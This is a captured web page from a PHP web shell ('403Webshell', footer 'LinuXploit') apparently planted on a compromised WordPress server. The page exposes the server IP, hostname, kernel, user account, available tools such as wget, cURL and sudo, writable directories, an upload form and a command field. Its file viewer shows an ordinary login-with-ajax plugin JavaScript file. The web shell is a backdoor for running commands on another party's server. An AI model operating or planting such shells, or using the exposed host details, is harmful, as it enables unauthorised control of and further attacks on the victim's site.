403Webshell
Server IP : 81.2.241.106  /  Your IP : 216.73.216.165
Web Server : Apache/2.4.67 (Debian)
System : Linux tranq-f.bakta.org 5.10.0-45-amd64 #1 SMP Debian 5.10.259-1 (2026-07-02) x86_64
User : lisky ( 1002)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/lisky/wp-content/plugins/login-with-ajax/ajaxify/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/lisky/wp-content/plugins/login-with-ajax/ajaxify/ajaxify.js
var LWA_Ajaxify = {
	ajaxifiables : {},
	is_ajaxifiable : function( $form ){
		// we can pass a jQuery object or a DOM element, but we ideally want DOM
		let form = $form instanceof jQuery ? $form[0] : $form;
		let type = false;
		Object.keys(LWA_Ajaxify.ajaxifiables).forEach( function( selector ){
			if( form.matches( selector ) ){
				type = selector;
			}
		});
		return type;
	},
	init : function() {
		document.dispatchEvent( new CustomEvent( 'lwa_ajaxify_init' ) );
		jQuery( Object.keys( LWA_Ajaxify.ajaxifiables ).join(',') ).each( function( el ){
			let $form = jQuery(this);
			$form.wrap('<div class="lwa-wrapper"></div>')
				.wrap('<div class="lwa"></div>')
				.addClass('lwa-form');
			let selector = LWA_Ajaxify.is_ajaxifiable( this );
			let ajaxify = LWA_Ajaxify.ajaxifiables[selector]; // we assume in this case it comes up positive since it's a matched selector already
			if ( ajaxify.type === 'login' ) {
				$form.append( jQuery('<input type="hidden" name="login-with-ajax" value="login">') );
			} else if ( ajaxify.type === 'register' ) {
				$form.append( jQuery('<input type="hidden" name="login-with-ajax" value="register">') );
			} else if ( ajaxify.type === 'remember' ) {
				$form.append( jQuery('<input type="hidden" name="login-with-ajax" value="remember">') );
			}
			if( ajaxify && typeof ajaxify.init == 'function' ) {
				ajaxify.init( this );
			}
		});
		jQuery(document).on('lwa_addStatusElement', function(e, form, statusElement){
			let selector = LWA_Ajaxify.is_ajaxifiable( form );
			if( selector !== false ) {
				let ajaxify = LWA_Ajaxify.ajaxifiables[selector];
				if( ajaxify && typeof ajaxify.addStatusElement == 'function' ) {
					ajaxify.addStatusElement( form, statusElement );
				}
			}
		});
		jQuery(document).on('lwa_handleStatus', function(e, response, statusElement){
			if( statusElement.hasClass('lwa-ajaxify-status') ) {
				let form = statusElement.closest('.lwa').find( Object.keys(LWA_Ajaxify.ajaxifiables).join(',') );
				if ( form.length > 0 ) {
					statusElement.show();
					let selector = LWA_Ajaxify.is_ajaxifiable( form );
					let ajaxify = LWA_Ajaxify.ajaxifiables[selector];
					if( ajaxify && typeof ajaxify.handleStatus == 'function' ) {
						ajaxify.handleStatus( response, statusElement, form );
					}
				}
			}
		});
		jQuery(document).on('lwa_pre_ajax', function(e, response, form, statusElement){
			let selector = LWA_Ajaxify.is_ajaxifiable( form );
			if( selector !== false ) {
				statusElement.hide();
				let ajaxify = LWA_Ajaxify.ajaxifiables[selector];
				if( ajaxify && typeof ajaxify.pre_ajax == 'function' ) {
					ajaxify.pre_ajax( form );
				}
			}
		});
		jQuery(document).on('lwa_register lwa_remember', function(e, response, form, statusElement){
			let selector = LWA_Ajaxify.is_ajaxifiable( form );
			if ( selector ) {
				let ajaxify = LWA_Ajaxify.ajaxifiables[selector]; // we assume in this case it comes up positive since it's a matched selector already
				if (['register', 'remember'].includes(ajaxify.type)) {
					if (response.result) {
						form.hide();
						form.find('input').val('');
					}
					if (ajaxify && typeof ajaxify[e.type] == 'function') {
						ajaxify[e.type](form);
					}
				}
			}
		});
		document.dispatchEvent( new CustomEvent( 'lwa_ajaxify_loaded' ) );
	}
};
jQuery(document).ready( LWA_Ajaxify.init );

Youez - 2016 - github.com/yon3zu
LinuXploit